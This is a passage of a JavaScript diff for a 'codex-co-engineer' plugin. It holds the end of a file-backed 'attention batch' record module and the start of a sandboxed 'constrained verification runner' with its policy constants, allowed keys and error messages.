} + await opened.handle.close().catch(() => {}); + return openDirectoryHandle(target, field); +} + +async function auditRunDirectory(dirToken) { + const names = await enumerateDirectory(dirToken, MAX_ATTENTION_DIRECTORY_ENTRIES, 'directory'); + const temps = []; + let hasRecord = false; + for (const name of names) { + const kind = classifyRunEntry(name); + if (kind === 'p25') { + failBatch('attention_batch_root_shared', 'directory', + 'The attention root must stay separate from accepted P25 journal files.'); + } + if (kind === 'foreign') { + failBatch('attention_batch_foreign_entry', 'directory', + 'The attention run directory contains a foreign entry.'); + } + if (kind === 'temp') { + temps.push(name); + if (temps.length > MAX_ATTENTION_BATCH_TEMPORARIES) { + failBatch('attention_batch_too_many_entries', 'temporary', + 'Attention run directories exceed the leftover temporary bound.'); + } + continue; + } + hasRecord = true; + const inspection = await inspectChildFile(dirToken, name, 'record'); + if (inspection.kind !== 'file') { + failBatch('attention_batch_not_regular', 'record', + 'Attention records must be regular non-symlink files.'); + } + assertRegularUnsharedFile(inspection.stat, 'record'); + } + return { names, temps, hasRecord }; +} + +async function readRecord(dirToken, runId) { + const opened = await readBoundedFile( + dirToken, RECORD_NAME, MAX_ATTENTION_BATCH_RECORD_BYTES, 'record', + ); + if (opened === null) return null; + const record = decodeRecordBytes(opened.bytes, 'record'); + if (record.run_id !== runId) { + failBatch('attention_batch_identity_mismatch', 'run_id', + 'The stored attention record does not match the requested run identity.'); + } + return record; +} + +async function publishRecord(dirToken, record, exclusive = false) { + const encoded = encodeRecord(validateAttentionBatchRecordV1(record)); + if (exclusive) { + const created = await exclusivePublish(dirToken, RECORD_NAME, encoded.bytes, 'record'); + if (!created) return null; + } else { + await atomicPublish(dirToken, RECORD_NAME, encoded.bytes, 'record'); + } + const reread = await readBoundedFile( + dirToken, RECORD_NAME, MAX_ATTENTION_BATCH_RECORD_BYTES, 'record', + ); + if (reread === null || !TIMING_SAFE_EQUAL(reread.bytes, encoded.bytes)) { + failBatch('attention_batch_publish_unverified', 'record', + 'The published attention record did not verify.'); + } + return encoded.record; +} + +function withRootChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = ROOT_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (ROOT_CHAINS.get(id) === settled) ROOT_CHAINS.delete(id); + }); + ROOT_CHAINS.set(id, settled); + return current; +} + +function parseNow(value) { + if (value === undefined) return undefined; + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || value < 0) { + failBatch('invalid_format', 'now', 'now must be a non-negative epoch millisecond.'); + } + return value; +} + +function parseInjectedFunction(value, field) { + if (value === undefined) return undefined; + if (typeof value !== 'function') { + failBatch('invalid_type', field, `${field} must be an injected function.`); + } + return value; +} + +function parseOperationOptions(options, allowed, required, path = '$') { + if (options === undefined || options === null || typeof options !== 'object' + || capturedIsArray(options)) { + failBatch('invalid_type', path, 'Attention options must be a plain object.'); + } + assertNotProxy(options, path); + for (const key of Reflect.ownKeys(options)) { + if (typeof key === 'symbol') { + failBatch('symbol_key_denied', `${path}[symbol]`, + 'Attention options carry a symbol-keyed property.'); + } + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(allowed, key)) { + failBatch('unknown_key', `${path}.${key}`, + `${path}.${key} is not a closed attention option.`); + } + } + for (const key of required) { + if (!capturedHasOwn(options, key)) { + failBatch('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + const json = {}; + const injected = {}; + for (const key of allowed) { + if (!capturedHasOwn(options, key)) continue; + const value = ownDataValue(options, key, `${path}.${key}`); + if (capturedIncludes(FUNCTION_KEYS, key) || key === 'now') { + if (key === 'now') injected.now = parseNow(value); + else injected[key] = parseInjectedFunction(value, `${path}.${key}`); + continue; + } + assertDirectJsonClosure(value, `${path}.${key}`); + json[key] = value; + } + return { json, injected }; +} + +async function invokeCancel(cancel, identity, _code) { + if (typeof cancel !== 'function') return 'unconfirmed'; + let result; + try { + result = await cancel(snapshotRecord({ + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + session_id: identity.session_id, + question_id: identity.question_id, + })); + } catch { + return 'unconfirmed'; + } + if (result === undefined || result === null || typeof result !== 'object' + || capturedIsArray(result)) { + return 'unconfirmed'; + } + if (!capturedHasOwn(result, 'outcome')) return 'unconfirmed'; + const outcome = ownDataValue(result, 'outcome', 'cancel.outcome'); + if (outcome !== 'confirmed' && outcome !== 'unconfirmed') return 'unconfirmed'; + for (const key of ['run_id', 'assignment_id', 'task_id', 'session_id', 'question_id']) { + if (capturedHasOwn(result, key) && ownDataValue(result, key, `cancel.${key}`) !== identity[key]) { + failBatch('attention_batch_identity_mismatch', `cancel.${key}`, + 'Cancel may retry only the exact latched lane identity.'); + } + } + return outcome; +} + +async function invokeDeliver(deliver, identity) { + if (typeof deliver !== 'function') { + failBatch('invalid_type', 'deliver', + 'Same-session delivery requires an injected deliver function.'); + } + let result; + try { + result = await deliver(snapshotRecord({ + run_id: identity.run_id, + assignment_id: identity.assignment_id, + task_id: identity.task_id, + session_id: identity.session_id, + question_id: identity.question_id, + response: identity.response, + })); + } catch { + return 'failed'; + } + if (result === undefined || result === null || typeof result !== 'object' + || capturedIsArray(result)) { + return 'failed'; + } + for (const key of ['run_id', 'assignment_id', 'task_id', 'session_id', 'question_id']) { + if (capturedHasOwn(result, key) + && ownDataValue(result, key, `deliver.${key}`) !== identity[key]) { + failBatch('attention_batch_identity_mismatch', `deliver.${key}`, + 'Delivery may retry only the exact latched reply identity.'); + } + } + const outcome = capturedHasOwn(result, 'outcome') + ? ownDataValue(result, 'outcome', 'deliver.outcome') + : undefined; + if (outcome === 'delivered' || outcome === 'already_delivered') return 'delivered'; + return 'failed'; +} + +async function cancelAffected(cancel, runId, item, unresolved, code) { + let next = pushUnresolved(unresolved, item, code); + const outcome = await invokeCancel(cancel, { run_id: runId, ...item }, code); + if (outcome !== 'confirmed') { + next = pushUnresolved(next, item, 'safe_cancel_unconfirmed'); + } + return next; +} + +function applyUnsupportedAndDeadlines(runId, items, unresolved, cancel, now) { + const nextItems = items.map((item) => ({ ...item })); + let nextUnresolved = unresolved; + return (async () => { + for (const item of nextItems) { + if (item.reply_capability === 'unsupported') { + item.disposition = 'unresolved'; + nextUnresolved = await cancelAffected( + cancel, runId, item, nextUnresolved, 'same_session_reply_unsupported', + ); + continue; + } + if (deadlineExpired(item.deadline_at, now)) { + item.disposition = 'unresolved'; + nextUnresolved = await cancelAffected( + cancel, runId, item, nextUnresolved, 'reply_deadline_expired', + ); + } + } + return { items: nextItems, unresolved: nextUnresolved }; + })(); +} + +async function openRunContext(rootToken, runId, createIfMissing) { + assertRunId(runId, 'run_id'); + const rootNames = await enumerateDirectory(rootToken, MAX_ATTENTION_ROOT_ENTRIES, 'root'); + for (const name of rootNames) { + if (name !== RUNS_NAME) { + failBatch('attention_batch_foreign_entry', 'root', + 'The attention root contains a foreign entry.'); + } + } + let runsToken; + if (!rootNames.includes(RUNS_NAME)) { + if (!createIfMissing) { + failBatch('attention_batch_not_found', 'root', + 'The attention root does not contain a runs directory yet.'); + } + runsToken = await ensurePrivateDirectory(rootToken, RUNS_NAME, 'runs'); + } else { + runsToken = await openDirectoryHandle(childPath(rootToken.path, RUNS_NAME), 'runs'); + } + try { + const runNames = await enumerateDirectory( + runsToken, MAX_ATTENTION_RUN_DIRECTORIES + 1, 'runs', + ); + if (runNames.length > MAX_ATTENTION_RUN_DIRECTORIES) { + failBatch('attention_batch_too_many_entries', 'runs', + `The attention root must not exceed ${MAX_ATTENTION_RUN_DIRECTORIES} run directories.`); + } + for (const name of runNames) { + assertRunId(name, 'runs'); + const child = await openDirectoryHandle(childPath(runsToken.path, name), 'runs'); + try { + const audit = await auditRunDirectory(child); + if (name === runId) { + await removeStaleTemporaries(child, audit.temps); + } + } finally { + await child.handle.close().catch(() => {}); + } + } + if (!runNames.includes(runId)) { + if (!createIfMissing) { + failBatch('attention_batch_not_found', 'run_id', + 'No attention batch exists for that run id.'); + } + const created = await ensurePrivateDirectory(runsToken, runId, 'run_id'); + await created.handle.close().catch(() => {}); + } + const dirToken = await openDirectoryHandle(childPath(runsToken.path, runId), 'directory'); + try { + const audit = await auditRunDirectory(dirToken); + await removeStaleTemporaries(dirToken, audit.temps); + const record = await readRecord(dirToken, runId); + return { runsToken, dirToken, record }; + } catch (error) { + await dirToken.handle.close().catch(() => {}); + throw error; + } + } catch (error) { + await runsToken.handle.close().catch(() => {}); + throw error; + } +} + +function assertExpectedRevision(expected, current, allowCreateRetry) { + if (allowCreateRetry && expected === 0 && current >= 1) return; + if (expected !== current) { + failBatch('attention_batch_revision_conflict', 'expected_revision', + 'expected_revision does not match the durable attention revision.'); + } +} + +async function latchOnHandle(rootToken, options) { + const parsed = parseOperationOptions(options, LATCH_ALLOWED_KEYS, LATCH_REQUIRED_KEYS); + assertRunId(parsed.json.run_id, 'run_id'); + const expectedRevision = assertSafeInt( + parsed.json.expected_revision, 'expected_revision', 0, 4096, + ); + const source = validateAttentionSourceV1(parsed.json.source, 'source'); + const requestedItems = validateAttentionItemsV1(parsed.json.items, 'items'); + bindItemsToSource(requestedItems, source, 'items'); + const batchId = deriveAttentionBatchIdV1(parsed.json.run_id, source, requestedItems); + const now = parsed.injected.now; + const cancel = parsed.injected.cancel; + const context = await openRunContext(rootToken, parsed.json.run_id, true); + try { + const existing = context.record; + if (existing !== null) { + if (identicalSource(existing.source, source) + && identicalQuestionSet(existing.items, requestedItems) + && existing.batch_id === batchId) { + assertExpectedRevision(expectedRevision, existing.revision, true); + return receiptFor(existing, false); + } + assertExpectedRevision(expectedRevision, existing.revision, false); + let unresolved = existing.unresolved; + for (const item of requestedItems) { + unresolved = await cancelAffected( + cancel, parsed.json.run_id, item, unresolved, 'late_attention_after_latch', + ); + } + const next = await publishRecord(context.dirToken, { + ...existing, + revision: existing.revision + 1, + unresolved, + }); + return receiptFor(next, false); + } + assertExpectedRevision(expectedRevision, 0, false); + const preparedItems = requestedItems.map((item) => ({ ...item, disposition: 'pending' })); + const applied = await applyUnsupportedAndDeadlines( + parsed.json.run_id, preparedItems, [], cancel, now, + ); + const record = { + schema: ATTENTION_BATCH_SCHEMA_ID, + version: ATTENTION_BATCH_VERSION, + run_id: parsed.json.run_id, + batch_id: batchId, + revision: 1, + status: 'open', + source, + items: applied.items, + reply: null, + unresolved: applied.unresolved, + }; + const published = await publishRecord(context.dirToken, record, true); + if (published === null) { + const winner = await readRecord(context.dirToken, parsed.json.run_id); + if (winner === null) { + failBatch('attention_batch_io_failed', 'record', + 'The attention record could not be created exclusively.'); + } + if (identicalSource(winner.source, source) + && identicalQuestionSet(winner.items, requestedItems) + && winner.batch_id === batchId) { + return receiptFor(winner, false); + } + failBatch('attention_batch_revision_conflict', 'expected_revision', + 'expected_revision does not match the durable attention revision.'); + } + return receiptFor(published, true); + } finally { + await context.dirToken.handle.close().catch(() => {}); + await context.runsToken.handle.close().catch(() => {}); + } +} + +function pendingSameSession(items) { + return items.filter((item) => item.disposition === 'pending' && item.reply_capability === 'same_session'); +} + +function bindAnswers(answers, items, runId) { + const pending = pendingSameSession(items); + if (answers.length !== pending.length) { + failBatch('attention_batch_identity_mismatch', 'reply.answers', + 'The one reply round must cover every pending same-session item exactly once.'); + } + const byAssignment = capturedCreate(null); + for (const item of pending) byAssignment[item.assignment_id] = item; + for (const answer of answers) { + const item = byAssignment[answer.assignment_id]; + if (item === undefined) { + failBatch('attention_batch_identity_mismatch', 'reply.answers', + 'Reply answers must address only pending same-session identities.'); + } + if (item.task_id !== answer.task_id + || item.session_id !== answer.session_id + || item.question_id !== answer.question_id) { + failBatch('attention_batch_identity_mismatch', 'reply.answers', + 'Reply answers must retry only the exact latched identities.'); + } + if (item.run_id !== undefined && item.run_id !== runId) { + failBatch('attention_batch_identity_mismatch', 'run_id', + 'Reply answers must stay bound to the latched run.'); + } + } +} + +async function deliverPending(existing, deliver, cancel, now, runId) { + const items = existing.items.map((item) => ({ ...item })); + let unresolved = existing.unresolved; + const reply = existing.reply; + const answers = reply === null ? [] : reply.answers; + const answerByAssignment = capturedCreate(null); + for (const answer of answers) answerByAssignment[answer.assignment_id] = answer; + for (const item of items) { + if (item.disposition !== 'pending') continue; + if (deadlineExpired(item.deadline_at, now)) { + item.disposition = 'unresolved'; + unresolved = await cancelAffected( + cancel, runId, item, unresolved, 'reply_deadline_expired', + ); + continue; + } + const answer = answerByAssignment[item.assignment_id]; + if (answer === undefined) continue; + const outcome = await invokeDeliver(deliver, { + run_id: runId, + assignment_id: item.assignment_id, + task_id: item.task_id, + session_id: item.session_id, + question_id: item.question_id, + response: answer.response, + }); + if (outcome === 'delivered') { + item.disposition = 'answered'; + continue; + } + item.disposition = 'unresolved'; + unresolved = await cancelAffected( + cancel, runId, item, unresolved, 'reply_delivery_failed', + ); + } + const status = everySettled(items) ? 'resolved' : existing.status; + return { items, unresolved, status }; +} + +async function replyOnHandle(rootToken, options) { + const parsed = parseOperationOptions(options, REPLY_ALLOWED_KEYS, REPLY_REQUIRED_KEYS); + assertRunId(parsed.json.run_id, 'run_id'); + assertPatternedId(parsed.json.batch_id, BATCH_ID_PATTERN, 'batch_id', 'batch_id'); + const expectedRevision = assertSafeInt( + parsed.json.expected_revision, 'expected_revision', 0, 4096, + ); + const context = await openRunContext(rootToken, parsed.json.run_id, false); + try { + if (context.record === null) { + failBatch('attention_batch_not_found', 'run_id', + 'No attention batch exists for that run id.'); + } + const existing = context.record; + if (existing.batch_id !== parsed.json.batch_id) { + failBatch('attention_batch_identity_mismatch', 'batch_id', + 'Reply batch_id must equal the latched batch identity.'); + } + const reply = validateReplyValue(parsed.json.reply, existing.batch_id, 'reply'); + if (existing.reply !== null) { + if (canonicalJsonStringify(existing.reply) !== canonicalJsonStringify(reply)) { + failBatch('attention_batch_reply_conflict', 'reply', + 'A different reply round is already durable for this batch.'); + } + assertExpectedRevision(expectedRevision, existing.revision, false); + if (existing.status === 'resolved') return receiptFor(existing, false); + const delivered = await deliverPending( + existing, parsed.injected.deliver, parsed.injected.cancel, parsed.injected.now, + parsed.json.run_id, + ); + const next = await publishRecord(context.dirToken, { + ...existing, + revision: existing.revision + 1, + status: delivered.status, + items: delivered.items, + unresolved: delivered.unresolved, + }); + return receiptFor(next, false); + } + assertExpectedRevision(expectedRevision, existing.revision, false); + bindAnswers(reply.answers, existing.items, parsed.json.run_id); + const committed = await publishRecord(context.dirToken, { + ...existing, + revision: existing.revision + 1, + status: 'reply_committed', + reply, + }); + const delivered = await deliverPending( + committed, parsed.injected.deliver, parsed.injected.cancel, parsed.injected.now, + parsed.json.run_id, + ); + const next = await publishRecord(context.dirToken, { + ...committed, + revision: committed.revision + 1, + status: delivered.status, + items: delivered.items, + unresolved: delivered.unresolved, + }); + return receiptFor(next, true); + } finally { + await context.dirToken.handle.close().catch(() => {}); + await context.runsToken.handle.close().catch(() => {}); + } +} + +async function getOnHandle(rootToken, runId) { + assertRunId(runId, 'run_id'); + const context = await openRunContext(rootToken, runId, false); + try { + if (context.record === null) { + failBatch('attention_batch_not_found', 'run_id', + 'No attention batch exists for that run id.'); + } + return receiptFor(context.record, false); + } finally { + await context.dirToken.handle.close().catch(() => {}); + await context.runsToken.handle.close().catch(() => {}); + } +} + +export function describeAttentionBatchV1() { + return freezeData({ + schema: ATTENTION_BATCH_SCHEMA_ID, + version: ATTENTION_BATCH_VERSION, + receipt_schema: ATTENTION_BATCH_RECEIPT_SCHEMA_ID, + record_keys: ATTENTION_BATCH_RECORD_KEYS, + statuses: ATTENTION_BATCH_STATUSES, + source_keys: ATTENTION_BATCH_SOURCE_KEYS, + task_cursor_keys: ATTENTION_BATCH_TASK_CURSOR_KEYS, + item_keys: ATTENTION_BATCH_ITEM_KEYS, + providers: ATTENTION_BATCH_PROVIDERS, + reply_capabilities: ATTENTION_BATCH_REPLY_CAPABILITIES, + dispositions: ATTENTION_BATCH_DISPOSITIONS, + unresolved_codes: ATTENTION_BATCH_UNRESOLVED_CODES, + reply_keys: ATTENTION_BATCH_REPLY_KEYS, + answer_keys: ATTENTION_BATCH_ANSWER_KEYS, + unresolved_keys: ATTENTION_BATCH_UNRESOLVED_KEYS, + error_codes: ATTENTION_BATCH_ERROR_CODES, + bounds: capturedFreeze({ + items: capturedFreeze({ min: MIN_ATTENTION_ITEMS, max: MAX_ATTENTION_ITEMS }), + options: MAX_ATTENTION_OPTIONS, + prompt_bytes: MAX_ATTENTION_PROMPT_BYTES, + response_bytes: MAX_ATTENTION_RESPONSE_BYTES, + reply_round: ATTENTION_REPLY_ROUND, + }), + storage: capturedFreeze({ + file: `runs//${ATTENTION_BATCH_FILE_NAME}`, + directories: '0700', + files: '0600', + publication: 'same-directory temporary, fsync, atomic rename, directory fsync', + cas: 'expected_revision', + }), + ownership: capturedFreeze({ + p25: 'unchanged six journal facts, hash chain, cursor, and derived state', + p34: 'attention snapshots, batch identity, one reply commitment, delivery disposition, unresolved evidence, separate atomic persistence', + forbidden: capturedFreeze([ + 'p25_event_kind_change', + 'question_encoding_in_child_progress_note', + 'foreign_p25_journal_files', + 'scheduler', + 'provider_dispatch', + 'candidate_composition', + 'server_tool_wiring', + 'cleanup_implementation', + 'gate_a', + 'release', + ]), + }), + wake: false, + remote_mutated: false, + }); +} + +export async function openAttentionRoot(rootPath) { + const resolved = assertSafeRootPath(rootPath); + const opened = await openDirectoryHandle(resolved, 'root'); + const token = capturedFreeze({ + path: opened.path, + dev: opened.dev, + ino: opened.ino, + }); + await opened.handle.close().catch(() => {}); + return capturedFreeze({ + root: token.path, + async latch(options) { + return withRootChain(token, async () => { + const root = await reopenAndVerify(token, 'root'); + try { + return await latchOnHandle(root, options); + } finally { + await root.handle.close().catch(() => {}); + } + }); + }, + async reply(options) { + return withRootChain(token, async () => { + const root = await reopenAndVerify(token, 'root'); + try { + return await replyOnHandle(root, options); + } finally { + await root.handle.close().catch(() => {}); + } + }); + }, + async get(runId) { + return withRootChain(token, async () => { + const root = await reopenAndVerify(token, 'root'); + try { + return await getOnHandle(root, runId); + } finally { + await root.handle.close().catch(() => {}); + } + }); + }, + }); +} + +capturedFreeze(openAttentionRoot); +capturedFreeze(describeAttentionBatchV1); +capturedFreeze(validateAttentionBatchRecordV1); +capturedFreeze(validateAttentionSourceV1); +capturedFreeze(validateAttentionItemsV1); +capturedFreeze(attentionQuestionDigestV1); +capturedFreeze(deriveAttentionBatchIdV1); diff --git a/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs new file mode 100644 index 0000000..48d1e57 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs @@ -0,0 +1,1920 @@ +// Constrained verification runner — ExecutionIntent execution receipt for +// W16-P16C (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `bounded_evidence`, +// `gate_a_constrained_trusted_policy_command_execution`, +// `gate_a_safe_per_run_cleanup`, +// `gate_a_no_protected_ref_mutation`). +// +// Additive v3 module. It owns one fail-closed question: given a genuine +// immutable P16B ExecutionIntent receipt plus trusted P16A policy and a +// candidate identity, execute that exact owner-approved command once under +// host-available constraints in a disposable workspace and return bounded +// sanitized content-free outcome/evidence compatible with P13. It answers +// nothing else. +// This module never consults PATH, never uses a shell, never opens a remote +// network socket, never merges, rebases, pushes, opens a pull request, or +// mutates a protected ref. It does not import or integrate the MCP server, +// supervisor, scheduler, or process-boundary worker launcher, and it does +// not dispatch a provider. Provider-reported PASS is never treated as a fact. +// +// The only executable and argv that may run are the exact values bound by +// re-resolving the trusted policy against the intent's command_id and typed +// parameters. The child environment is empty by default and receives only +// policy-authorized bounded entries. Network default/deny is enforced; an +// allowlist cannot be enforced here and is denied. Temporary cleanup deletes +// only the exact workspace this invocation created. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import fs from 'node:fs'; +import { lstat, mkdir, readFile, readdir, realpath } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import process from 'node:process'; + +import { + APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + APPROVED_VERIFICATION_COMMAND_VERSION, + RECEIPT_KEYS, + resolveApprovedVerificationCommandV1, +} from './approved-verification-command.mjs'; +import { + FACT_AUTHORITIES, + FACT_CODES, + FACT_KINDS, + FACT_METHODS, + FACT_STATUSES, + REPORTED_RESULTS, +} from './evidence-bundle.mjs'; +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + assertBaseSha, + assertRepositoryPath, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; +import { + DENIED_ENV_NAMES, + DIGEST_ALGORITHM, + MAX_POLICY_OBJECT_KEYS, +} from './trusted-verification-policy.mjs'; + +export const CONSTRAINED_VERIFICATION_SCHEMA_ID = + 'codex-co-engineer.constrained-verification.v1'; +export const CONSTRAINED_VERIFICATION_VERSION = 1; +export const VERIFICATION_EXECUTION_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT; + +export const GIT_EXECUTABLE = '/usr/bin/git'; +export const UNSHARE_EXECUTABLE = '/usr/bin/unshare'; +export const PRLIMIT_EXECUTABLE = '/usr/bin/prlimit'; +export const WORKSPACE_NAME_PREFIX = 'codex-co-engineer-p16c-'; +export const WORKSPACE_PARENT_PREFIX = 'codex-co-engineer-p16c-owner-'; +export const QUARANTINE_NAME_PREFIX = 'codex-co-engineer-p16c-quarantine-'; +export const KILL_GRACE_MS = 1_000; +export const STUCK_GRACE_MS = 100; +export const GIT_AUDIT_TIMEOUT_MS = 5_000; +export const GIT_AUDIT_MAX_BYTES = 65_536; +export const WORKSPACE_MODE = 0o700; +export const RESOURCE_ADDRESS_SPACE_BYTES = 268_435_456; +export const RESOURCE_NPROC = 32; +export const RESOURCE_CPU_SECONDS_CAP = 120; +export const COPY_MAX_FILE_BYTES = 1_048_576; +export const COPY_MAX_TOTAL_BYTES = 8_388_608; +export const COPY_MAX_ENTRIES = 4_096; +export const COPY_MAX_DEPTH = 32; + +export const REQUEST_ALLOWED_KEYS = capturedFreeze(['candidate', 'intent', 'policy']); +export const REQUEST_REQUIRED_KEYS = REQUEST_ALLOWED_KEYS; +export const CANDIDATE_ALLOWED_KEYS = capturedFreeze([ + 'expected_base_sha', 'expected_head_sha', 'repository', +]); +export const CANDIDATE_REQUIRED_KEYS = capturedFreeze(['repository']); +export const OPTION_ALLOWED_KEYS = capturedFreeze(['adapter']); +export const ADAPTER_ALLOWED_KEYS = capturedFreeze([ + 'afterQuarantinePin', 'killProcessGroup', 'listDescendants', 'lstat', 'mkdir', + 'nowMs', 'randomId', 'readGitIdentity', 'realpath', 'rmdirExact', 'spawn', + 'tmpRoot', +]); +export const RECEIPT_BODY_KEYS = capturedFreeze([ + 'candidate_audit', 'cleanup', 'command_id', 'facts', 'intent_identity', + 'observations', 'outcome', 'policy_identity', 'schema', 'version', +]); +export const RECEIPT_RESULT_KEYS = capturedFreeze([ + 'candidate_audit', 'cleanup', 'command_id', 'execution_identity', 'facts', + 'intent_identity', 'observations', 'outcome', 'policy_identity', 'schema', + 'version', +]); +export const OUTCOME_KEYS = capturedFreeze([ + 'duration_ms', 'exit_code', 'result', 'signal', 'stderr_bytes', + 'stderr_digest', 'stderr_truncated', 'stdout_bytes', 'stdout_digest', + 'stdout_truncated', 'termination', +]); +export const CANDIDATE_AUDIT_KEYS = capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'head_sha', 'refs_digest', + 'status_digest', 'unchanged', 'worktrees_digest', +]); +export const CLEANUP_KEYS = capturedFreeze(['status']); +export const OBSERVATION_KEYS = capturedFreeze(['acceptance', 'git_identity']); +export const ACCEPTANCE_OBSERVATION_KEYS = capturedFreeze([ + 'authority', 'code', 'duration_ms', 'exit_code', 'fact_kind', 'input_digest', + 'method', 'output_digest', 'payload', 'payload_digest', 'status', 'subject', + 'truncated', +]); +export const GIT_OBSERVATION_KEYS = capturedFreeze([ + 'authority', 'code', 'duration_ms', 'exit_code', 'fact_kind', 'input_digest', + 'method', 'output_digest', 'payload', 'payload_digest', 'status', 'subject', + 'truncated', +]); +export const IDENTITY_RECEIPT_KEYS = capturedFreeze([ + 'algorithm', 'digest', 'domain', 'input_bytes', 'label', 'version', +]); +export const TERMINATION_REASONS = capturedFreeze(['exited']); +export const CLEANUP_STATUSES = capturedFreeze(['removed']); +export const WORKSPACE_ID_PATTERN = /^[0-9a-f]{32}$/u; + +export const CONSTRAINED_VERIFICATION_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'authority_denied', + 'candidate_identity_mismatch', 'candidate_mutated', 'candidate_not_regular', + 'candidate_race', 'candidate_unreadable', 'cleanup_uncertain', 'clock_denied', + 'control_character_denied', 'duplicate_id', 'env_name_denied', + 'escaped_descendants', 'executable_content_denied', 'executable_not_runnable', + 'exotic_prototype_denied', 'git_identity_unverified', 'git_unavailable', + 'intent_not_genuine', 'invalid_array', 'invalid_encoding', 'invalid_format', + 'invalid_json_type', 'invalid_json_value', 'invalid_type', 'missing_key', + 'mutation_permission_denied', 'network_allowlist_unsupported', + 'network_content_denied', 'network_isolation_unavailable', + 'non_enumerable_property_denied', 'one_execution_only', + 'option_smuggling_denied', 'out_of_range', 'output_flood', + 'own_undefined_denied', 'placeholder_unbound', 'policy_intent_mismatch', + 'proxy_denied', 'resource_bound_unavailable', 'resource_limit_denied', + 'shell_content_denied', 'signal_ambiguous', 'special_file_denied', + 'symbol_key_denied', 'symlink_denied', 'timeout', 'unknown_command', + 'unknown_key', 'value_depth_exceeded', 'workspace_overlap_denied', + 'workspace_unreadable', +]); + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + authority_denied: 'Provider, profile, and manifest commands are evidence only and cannot authorize execution.', + candidate_identity_mismatch: 'The candidate Git identity does not match the pinned expectation.', + candidate_mutated: 'The candidate Git identity or filesystem changed during verification.', + candidate_not_regular: 'The candidate must be a regular directory without a symlink root.', + candidate_race: 'The candidate changed while it was being inspected.', + candidate_unreadable: 'The candidate could not be inspected safely.', + cleanup_uncertain: 'Temporary cleanup could not be proven exact; the path was not deleted.', + clock_denied: 'The host clock moved backwards or produced a non-canonical duration.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + env_name_denied: 'An environment name is outside the closed allowlist.', + escaped_descendants: 'A descendant process remained after the single execution ended.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + executable_not_runnable: 'The owner-approved executable is not a regular runnable file.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + git_identity_unverified: 'Candidate Git identity could not be verified as a closed read-only snapshot.', + git_unavailable: 'The host Git executable required for candidate audit is unavailable.', + intent_not_genuine: 'The execution intent is not a genuine immutable P16B receipt for the trusted policy.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted execution has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_allowlist_unsupported: 'Network allowlists cannot be enforced and are denied.', + network_content_denied: 'Untrusted input must not contribute network targets.', + network_isolation_unavailable: 'Host network-deny isolation is required and was not available.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + one_execution_only: 'The approved command may execute once; retry and fallback are denied.', + option_smuggling_denied: 'A parameter value attempted to smuggle an option or argv fragment.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + output_flood: 'Stdout or stderr exceeded the owner-authorized byte cap.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + policy_intent_mismatch: 'The execution intent does not belong to the supplied trusted policy.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_bound_unavailable: 'A required host resource bound could not be applied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + signal_ambiguous: 'Process termination was ambiguous between exit status and signal.', + special_file_denied: 'Special files, devices, and non-regular executables are denied.', + symbol_key_denied: 'Symbol keys are denied.', + symlink_denied: 'Symbolic links are denied on the executable, candidate, and workspace.', + timeout: 'The approved command exceeded the owner-authorized timeout.', + unknown_command: 'The selected command is not in the trusted catalog.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', + workspace_overlap_denied: 'The disposable workspace must be disjoint from the candidate.', + workspace_unreadable: 'The disposable workspace could not be created or proven exact.', +})); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 